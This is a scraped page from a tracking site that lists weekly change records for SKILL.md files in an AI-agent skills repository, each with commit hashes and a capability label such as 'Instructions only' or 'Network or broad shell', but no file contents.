Not in the top 1,000 by GitHub stars
benjaminasterA/antigravity-awesome-skills
antigravity-awesome-skills
History
Review weekly changes to SKILL.md before updating. Dates mark the weeks in which we observed each version; checks apply to the recorded commits.
View weekly changes
skills/3d-web-experience/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/ab-test-setup/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/accessibility-compliance-accessibility-audit/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/active-directory-attacks/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Network or broad shell
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/activecampaign-automation/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/address-github-comments/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/agent-evaluation/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/agent-framework-azure-ai-py/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/agent-manager-skill/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/agent-memory-mcp/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/agent-memory-systems/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/agent-orchestration-improve-agent/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/agent-orchestration-multi-agent-optimize/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/agent-tool-builder/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/agents-v2-py/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/ai-agents-architect/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/ai-engineer/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/ai-product/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/ai-wrapper-product/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/airflow-dag-patterns/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Network or broad shell
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/airtable-automation/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/algolia-search/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/algorithmic-art/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Local scripts
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/amplitude-automation/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/analytics-tracking/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/angular/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/angular-best-practices/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/angular-migration/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/angular-state-management/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Network or broad shell
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/angular-ui-patterns/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/anti-reversing-techniques/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/antigravity-workflows/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/api-design-principles/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Local scripts
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/api-documentation-generator/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Network or broad shell
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/api-documenter/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Network or broad shell
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/api-fuzzing-bug-bounty/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Network or broad shell
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/api-patterns/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Local scripts
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/api-security-best-practices/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/api-testing-observability-api-mock/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Network or broad shell
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/app-builder/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Network or broad shell
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/app-builder/templates/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/app-store-optimization/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Local scripts
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/application-performance-performance-optimization/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/architect-review/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/architecture/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/architecture-decision-records/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/architecture-patterns/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/arm-cortex-expert/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/asana-automation/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/async-python-patterns/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Network or broad shell
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/attack-tree-construction/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/audio-transcriber/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Network or broad shell
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/auth-implementation-patterns/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/automate-whatsapp/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/autonomous-agent-patterns/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Network or broad shell
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/autonomous-agents/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/avalonia-layout-zafiro/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/avalonia-viewmodels-zafiro/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/avalonia-zafiro-development/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/aws-penetration-testing/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Network or broad shell
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/aws-serverless/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/aws-skills/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azd-deployment/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-ai-agents-persistent-dotnet/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-ai-agents-persistent-java/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-ai-anomalydetector-java/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-ai-contentsafety-java/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-ai-contentsafety-py/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-ai-contentsafety-ts/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-ai-contentunderstanding-py/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-ai-document-intelligence-dotnet/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-ai-document-intelligence-ts/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-ai-formrecognizer-java/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-ai-ml-py/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-ai-openai-dotnet/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-ai-projects-dotnet/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-ai-projects-java/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-ai-projects-py/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-ai-projects-ts/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-ai-textanalytics-py/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-ai-transcription-py/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
